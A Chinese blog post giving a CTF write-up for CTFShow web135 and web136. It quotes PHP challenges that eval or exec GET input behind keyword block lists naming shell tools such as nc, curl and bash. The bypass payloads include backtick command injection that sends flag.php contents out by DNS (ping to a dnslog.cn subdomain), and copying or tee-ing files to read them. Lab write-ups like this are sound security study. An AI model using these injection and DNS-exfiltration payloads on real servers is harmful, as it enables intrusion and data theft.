CTFShow-web135~web136

web135

原始信息

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

解题

其它什么的先不说,先看官方给的WP:

`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

让后……

在DNSLOG以及相关的网站死活带外不出去……

别提有多裂开了。

看了下解题的视频,有个比较灵活的大佬说可以修改文件或者复制文件读取,于是乎试验了下,踩了踩坑,才发现这个卡了我差不多几小时的题目是这么个玩法……

# 前面保持不变,改变后面shell的地方:
GET:?F=`$F`;+`cp flag.php flag.txt`
# 然后访问那个被你copy的flag.txt即可
# 记住,有txt的一定是明文,可以直接读取的。

# 不过既然都有cp操作了,那nl直接导入不就行了?
# 显然,这个题目的操作不止带外一种

这个是做视频的前辈写的shell:

GET:?F=`$F`;+ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.ske28a.dnslog.cn -c 1

web136

原始信息

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

解题

这个一个带waf的Linux shell,需要传入Linux命令读取其中的内容再返还到某个文件下载即可

因为限制了很多符号和执行函数,其中也包括了点,导致无法写成类似于.txt的形式进行在线访问。

最终只能无后缀下载。

# tee是Linux的一个输出处理命令

GET: ?c=ls /|tee f
下载后打开文件:
bin
dev
etc
f149_15_h3r3
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

GET: ?c=cat /f149_15_h3r3|tee f
下载后打开文件:
ctfshow{a8cfeb83-46f9-4d7c-877d-64a8bad084e4}
# ?c=cat /f149_15_h3r3|tee f
# 可以变式为:
# ?c=nl /f149_15_h3r3|tee f
posted @ 2023-10-15 21:58  千磐书  阅读(217)  评论(0)    收藏  举报